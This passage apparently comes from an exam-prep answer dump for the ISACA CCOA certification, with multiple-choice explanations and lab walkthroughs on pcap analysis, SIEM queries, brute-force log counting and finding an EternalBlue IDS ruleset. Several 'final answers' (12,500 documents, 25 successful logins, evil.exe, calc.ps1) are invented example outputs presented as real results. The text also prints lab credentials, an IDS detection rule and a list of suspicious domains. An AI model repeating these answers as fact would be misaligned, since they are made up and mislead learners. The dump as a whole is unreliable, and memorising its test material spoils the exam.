Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections usingSIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

VLAN tagging and isolationis the best method forlogical network segmentationbecause:

Network Segmentation:VLANs logically separate network traffic within the same physical infrastructure.

Access Control:Allows for granular control over who can communicate with which VLAN.

Traffic Isolation:Reduces the risk of lateral movement by attackers within the network.

Efficiency:More practical and scalable than physical separation.

Incorrect Options:

A. Encryption and tunneling:Protects data but does not logically segment the network.

B. IP filtering and ACLs:Control traffic flow but do not create isolated network segments.

D. Physical separation:Achieves isolation but is less flexible and cost-effective compared to VLANs.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Segmentation Techniques," Subsection "VLAN Implementation" - VLANs are the most efficient way to achieve logical separation and isolation.

Step 1: Define the Problem and Objective

Objective:

Identify thefile containing the rulesetforEternalBlue connections.

Include thefile extensionin the response.

Context:

The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated withEternalBlue.

Step 2: Prepare for Access

2.1: SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

3.1: Connect via SSH (if needed)

Open a terminal and connect:

ssh administrator@10.10.55.2

Password:

Security-Analyst!

If prompted about SSH key verification, typeyesto continue.

Step 4: Locate the Ruleset File

4.1: Navigate to the Ruleset Directory

Change to the ruleset directory:

cd /home/administrator/hids/ruleset/rules

ls -l

You should see a list of files with names indicating their purpose.

4.2: Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

grep -irl "eternalblue" *

Explanation:

grep -i: Case-insensitive search.

-r: Recursive search within the directory.

-l: Only print file names with matches.

"eternalblue": The keyword to search.

*: All files in the current directory.

Expected Output:

exploit_eternalblue.rules

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1: Open and Inspect the File

Use less to view the file contents:

less exploit_eternalblue.rules

Check for rule patterns like:

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)

Use the search within less:

/eternalblue

Purpose:Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answer:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answer:

Ruleset File Name:

exploit_eternalblue.rules

To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Apply Relevant Filters

Since ransomware demands are often delivered through files or network shares, look for:

Common Protocols:

SMB(for network shares)

HTTP/HTTPS(for download or communication)

Apply a general filter to capture suspicious file transfers:

kotlin

http or smb or ftp-data

You can also filter based on file types or keywords related to ransomware:

frame contains "README" or frame contains "ransom"

Step 4: Identify Potential Ransomware Files

Look for suspicious file transfers:

CheckHTTP GET/POSTorSMB file writeoperations.

Analyze File Names:

Ransom notes commonly use filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on any suspicious packet and select:

arduino

Follow > TCP Stream

Inspect the content to see if it contains a ransom note or instructions.

Step 5: Extract the File

If you find a packet with afile transfer, extract it:

mathematica

File > Export Objects > HTTP or SMB

Save the suspicious file to analyze its contents.

Step 6: Example Packet Details

After filtering and following streams, you find a file transfer with the following details:

makefile

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

After exporting, open the file and examine the content:

pg

Your files have been encrypted!

To recover them, you must pay in Bitcoin.

Read this file carefully for payment instructions.

Answer:

README.txt

Step 7: Confirm and Document

File Name:README.txt

Transmission Protocol:HTTP or SMB

Content:Contains ransomware demand and payment instructions.

Step 8: Immediate Actions

Isolate Infected Systems:

Disconnect compromised hosts from the network.

Preserve the PCAP and Extracted File:

Store them securely for forensic analysis.

Analyze the Ransomware Note:

Look for:

Bitcoin addresses

Contact instructions

Identifiers for ransomware family

Step 9: Report the Incident

Include the following details:

Filename:README.txt

Method of Delivery:HTTP (or SMB)

Ransomware Message:Payment in Bitcoin

Submit the report to your incident response team for further action.

To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This command will display the decoded targets.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content appears to behexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt

ForURL encoding, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.

Use tools likeVirusTotalorURLHausto verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 1: Understand the Objective

Objective:

Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.

Security Onionrefers to logs asdocuments.

Unencrypted Web Traffic:

Typically HTTP, usingport 80.

SIEM:

The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).

Step 2: Access the SIEM System

2.1: Credentials and Access

URL:

cpp

https://10.10.55.2

Username:

css

ccoatest@isaca.org

Password:

pg

Security-Analyst!

Open the SIEM interface in a browser:

firefox https://10.10.55.2

Alternative:Access via SSH:

ssh administrator@10.10.55.2

Password:

pg

Security-Analyst!

Step 3: Navigate to the Logs in Security Onion

3.1: Log Location in Security Onion

Security Onion typically stores logs inElasticsearch, accessible viaKibana.

AccessKibanadashboard:

cpp

https://10.10.55.2:5601

Login with the same credentials.

Step 4: Query the Logs (Documents) in Kibana

4.1: Formulate the Query

Log Type:HTTP

Timeframe:December 2023

Filter for HTTP Port 80:

vbnet

event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]

Explanation:

event.dataset: "http": Filters logs labeled as HTTP traffic.

destination.port: 80: Ensures the traffic is unencrypted (port 80).

@timestamp: Specifies the time range forDecember 2023.

4.2: Execute the Query

Go toKibana > Discover.

Set theTime RangetoDecember 1, 2023 - December 31, 2023.

Enter the above query in thesearch bar.

Click"Apply".

Step 5: Count the Number of Logs (Documents)

5.1: View the Document Count

Thedocument countappears at the top of the results page in Kibana.

Example Output:

12500 documents

This means12,500 logswere identified matching the query criteria.

5.2: Export the Data (if needed)

Click on"Export"to download the log data for further analysis or reporting.

Choose"Export as CSV"if required.

Step 6: Verification and Cross-Checking

6.1: Alternative Command Line Check

If direct CLI access to Security Onion is possible, use theElasticsearch query:

curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '

{

"query": {

"bool": {

"must": [

{ "match": { "event.dataset": "http" }},

{ "match": { "destination.port": "80" }},

{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}

]

}

}

}'

Expected Output:

{

"count": 12500,

"_shards": {

"total": 5,

"successful": 5,

"failed": 0

}

}

Confirms the count as12,500 documents.

Step 7: Final Answer

Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:

12,500

Step 8: Recommendations

8.1: Security Posture Improvement:

Implement HTTPS Everywhere:

Redirect HTTP traffic to HTTPS to minimize unencrypted connections.

Log Monitoring:

Set upalerts in Security Onionto monitor excessive unencrypted traffic.

Block HTTP at Network Level:

Where possible, enforce HTTPS-only policies on critical servers.

Review Logs Regularly:

Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25

To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access thealerts folderon your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around11:00 PM.

You need to identify themalicious filespecificallycaptured at 11:04 PM.

Step 3: Access System Logs

Use yourSIEMorlog management systemto examine recent logs.

Filter the logs to narrow down the events:

Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.

Keyword:process.executable.

Example SIEM Query:

index=system_logs

| search "process.executable"

| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"

| table _time, process_name, executable_path, hash

Step 4: Analyze Log Entries

The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from thealert bulletin (alert_33.pdf).

Example Log Output:

_time process_name executable_path hash

2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotalor internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected hostto prevent further damage.

Quarantine the malicious filefor analysis.

Conduct a full forensic investigationto assess the scope of the compromise.

Update threat signaturesand indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection:11:04 PM on August 19, 2024.

Malicious file name:evil.exe.

Location:C:\Users\Public\evil.exe.

Generate an incident reportfor further investigation.

To identify thefile namethat triggered theRuleName: Suspicious PowerShellon theaccounting-pcworkstation, follow these detailed steps:

Step 1: Access the SIEM System

Open your web browser and navigate to theSIEM dashboard.

Log in with youradministrator credentials.

Step 2: Set Up the Query

Go to theSearchorQuerysection of the SIEM.

Set theTime Rangeto thelast 24 hours.

Query Parameters:

Agent Name:accounting-pc

Rule Name:Suspicious PowerShell

Event Type:Startup items or Process creation

Step 3: Construct the SIEM Query

Here’s an example of how to construct the query:

Example Query (Splunk):

index=windows_logs

| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"

| where _time > now() - 24h

| table _time, agent.name, process_name, file_path, RuleName

Example Query (Elastic SIEM):

{

"query": {

"bool": {

"must": [

{ "match": { "agent.name": "accounting-pc" }},

{ "match": { "RuleName": "Suspicious PowerShell" }},

{ "range": { "@timestamp": { "gte": "now-24h" }}}

]

}

}

}

Step 4: Analyze the Query Results

The query should return a table or list containing:

Time of Execution

Agent Name:accounting-pc

Process Name

File Path

Rule Name

Example Output:

_time

agent.name

process_name

file_path

RuleName

2024-04-07T10:45:23

accounting-pc

powershell.exe

C:\Users\Accounting\AppData\Roaming\calc.ps1

Suspicious PowerShell

Step 5: Identify the Suspicious File

Theprocess_namein the output showspowershell.exeexecuting a suspicious script.

Thefile pathindicates the script responsible:

makefile

C:\Users\Accounting\AppData\Roaming\calc.ps1

The suspicious script file is:

calc.ps1

Step 6: Confirm the Malicious Nature

Manual Inspection:

Navigate to the specified file path on theaccounting-pcworkstation.

Check the contents of calc.ps1 for any malicious PowerShell code.

Hash Verification:

Generate theSHA256 hashof the file and compare it with known malware signatures.

Answer:

calc.ps1

Step 7: Immediate Response

Isolate the Workstation:Disconnectaccounting-pcfrom the network.

Terminate the Malicious Process:

Stop the powershell.exe process running calc.ps1.

Use Task Manager or a script:

powershell

Stop-Process -Name "powershell" -Force

Remove the Malicious Script:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Scan for Persistence Mechanisms:

CheckStartup itemsandScheduled Tasksfor any references to calc.ps1.

Step 8: Documentation

Record the following:

Date and Time:When the incident was detected.

Affected Host:accounting-pc

Malicious File:calc.ps1

Actions Taken:File removal and process termination.

Step 1: Understand the Objective

Objective:

Identify thedomain name(s)that werecontactedbetween:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

2.1: Ensure Access to the File

Check if the PDF exists:

ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"

Open the file to inspect:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternatively, convert to plain text for easier analysis:

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt

cat ~/Desktop/threat_bulletin.txt

2.2: Analyze the Content

Look for domain names listed in the bulletin.

Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1: Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

cd /var/log/

ls -l

Identify relevant network or DNS logs:

ls -l | grep -E "dns|network|http|nginx"

Step 4: Search Logs for Domain Contacts

4.1: Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.

Replace dns.log with the actual log file name, if different.

4.2: Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log

If the logs are in another file, adjust the file path:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log

Step 5: Correlate Domains and Timeframe

5.1: Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"

Sample Output:

2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75

Interpretation:

The command revealswhich domain(s)were contacted during the specified time.

Step 6: Verification and Documentation

6.1: Verify Domain Matches

Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

6.2: Save the Results for Reporting

Save the output to a file:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt

Review the saved file:

cat ~/Desktop/domain_hits.txt

Step 7: Report the Findings

Final Answer:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched thelog timestampsanddomain nameswith the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to theblockliston firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in theincident response log.

Encryption of data at restis the best control to protectsensitive data from unauthorized access, even if physical or network access to the disk or file is obtained.

Protection:Data remains unreadable without the proper encryption keys.

Scenarios:Protects data from theft due to lost devices or compromised servers.

Compliance:Often mandated by regulations (e.g., GDPR, HIPAA).

Incorrect Options:

A. Next-generation antivirus:Detects malware, not data protection.

B. Data loss prevention (DLP):Prevents data exfiltration but does not protect data at rest.

C. Endpoint detection and response (EDR):Monitors suspicious activity but does not secure stored data.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Data Security Strategies," Subsection "Encryption Techniques" - Encryption of data at rest is essential for protecting sensitive information.

Thebest method for hardening an operating systemis toremove unnecessary services and applicationsbecause:

Minimizes Attack Surface:Reduces the number of potential entry points for attackers.

Eliminates Vulnerabilities:Unused or outdated services may contain unpatched vulnerabilities.

Performance Optimization:Fewer active services mean reduced resource consumption.

Best Practice:Follow the principle ofminimal functionalityto secure operating systems.

Security Baseline:After cleanup, the system is easier to manage and monitor.

Other options analysis:

A. Implementing a HIDS:Helps detect intrusions but does not inherently harden the OS.

B. Manually signing drivers:Ensures authenticity but doesn’t reduce the attack surface.

D. Applying only critical updates:Important but insufficient on its own. All relevant updates should be applied.

CCOA Official Review Manual, 1st Edition References:

Chapter 9: Secure System Configuration:Emphasizes the removal of non-essential components for system hardening.

Chapter 7: Endpoint Security Best Practices:Discusses minimizing services to reduce risk.

Thekernelis the core component of an operating system (OS) responsible for:

Resource Management:Manages CPU, memory, I/O devices, and other hardware resources.

Security Policies:Enforces access control, user permissions, and process isolation.

Hardware Abstraction:Acts as an intermediary between the hardware and software, providing low-level device drivers.

Process and Memory Management:Handles process scheduling, memory allocation, and inter-process communication.

Incorrect Options:

B. Library:A collection of functions or routines that can be used by applications, not the core of the OS.

C. Application:Runs on top of the OS, not a part of its core functionality.

D. Shell:An interface for users to interact with the OS, but not responsible for resource management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Operating System Security," Subsection "Kernel Responsibilities" - The kernel is fundamental to managing system resources and enforcing security.

Atree network topologyprovidesbetter resilience and stabilitycompared to abus topology:

Fault Isolation:In a tree topology, a failure in one branch does not necessarily bring down the entire network.

Hierarchy Structure:If a single link fails, only a segment of the network is affected, not the whole system.

Easier Troubleshooting:The hierarchical layout allows for easier identification and isolation of faulty nodes.

Compared to Bus Topology:In a bus topology, a single cable failure can disrupt the entire network.

Incorrect Options:

A. Easier network expansion:True, but not primarily a security advantage.

B. Better performance:Depends on network design, not a security aspect.

D. Less susceptible to eavesdropping:Tree topology itself does not inherently reduce eavesdropping risks.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Topologies," Subsection "Tree Topology Benefits" - The primary security advantage is increased fault tolerance and stability.

Theprimary purpose of load balancers in cloud networkingis todistribute incoming network trafficacross multiple servers, thereby:

Ensuring Availability:By balancing traffic, load balancers prevent server overload and ensure high availability.

Performance Optimization:Evenly distributing traffic reduces response time and improves user experience.

Fault Tolerance:If one server fails, the load balancer redirects traffic to healthy servers, maintaining service continuity.

Scalability:Automatically adjusts to traffic changes by adding or removing servers as needed.

Use Cases:Commonly used forweb applications, databases, and microservicesin cloud environments.

Other options analysis:

B. Optimizing database queries:Managed at the database level, not by load balancers.

C. Monitoring network traffic:Load balancers do not primarily monitor but distribute traffic.

D. Load testing applications:Load balancers do not perform testing; they manage live traffic.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Traffic Management:Discusses the role of load balancers in cloud environments.

Chapter 7: High Availability and Load Balancing:Explains how load balancers enhance system resilience.

TheCISOis typically responsible for approvingexceptions and deviationsfrom theincident management team charterbecause:

Strategic Decision-Making:As the senior security executive, the CISO has the authority to approve deviations based on risk assessments and business priorities.

Policy Oversight:The CISO ensures that any exceptions align with organizational security policies.

Incident Management Governance:As part of risk management, the CISO is involved in high-level decisions impacting incident response.

Other options analysis:

A. Security steering group:Advises on strategy but does not typically approve operational deviations.

B. Cybersecurity analyst:Executes tasks rather than making executive decisions.

D. Incident response manager:Manages day-to-day operations but usually does not approve policy deviations.

CCOA Official Review Manual, 1st Edition References:

Chapter 2: Security Governance:Defines the role of the CISO in managing incident-related exceptions.

Chapter 8: Incident Management Policies:Discusses decision-making authority within incident response.

The Platform as a Service (PaaS) model is primarily designed to provide a platform that supports the development, testing, deployment, and management of applications without the complexity of building and maintaining the underlying infrastructure. It offers developers a comprehensive environment with tools and libraries for application development, database management, and more.

PaaS solutions typically include development frameworks, application hosting, version control, and integration capabilities.

It abstracts the hardware and operating system layer, allowing developers to focus solely on building applications.

PaaS is typically used for creating and managing web or mobile applications efficiently.

Incorrect Options:

B. Local on-premise management of products and services:PaaS is a cloud-based model, not on-premise.

C. Subscription-based pay per use applications:This characteristic aligns more with the Software as a Service (SaaS) model.

D. Control over physical equipment running application developed In-house:This corresponds to Infrastructure as a Service (IaaS) rather than PaaS.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Service Models", Subsection "Platform as a Service (PaaS)" - PaaS is designed to facilitate efficient application development and management by offering integrated environments for application lifecycle management.

The primary reason to limit local admin privileges on endpoints is thatlocal admin accounts have elevated privilegeswhich, if compromised, can be exploited to:

Escalate Privileges:Attackers can move laterally or gain deeper access.

Install Malware:Direct access to system settings and software installation.

Modify Security Configurations:Disable antivirus or firewalls.

Persistence:Create backdoor accounts for future access.

Incorrect Options:

A. Installing unapproved software:A consequence, but not the most critical reason.

C. Increased administrative work:Not a security issue.

D. Making unauthorized changes:Similar to A, but less significant than privilege exploitation.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Privilege Management," Subsection "Risks of Excessive Privileges" - Limiting admin rights reduces attack surface and potential exploitation.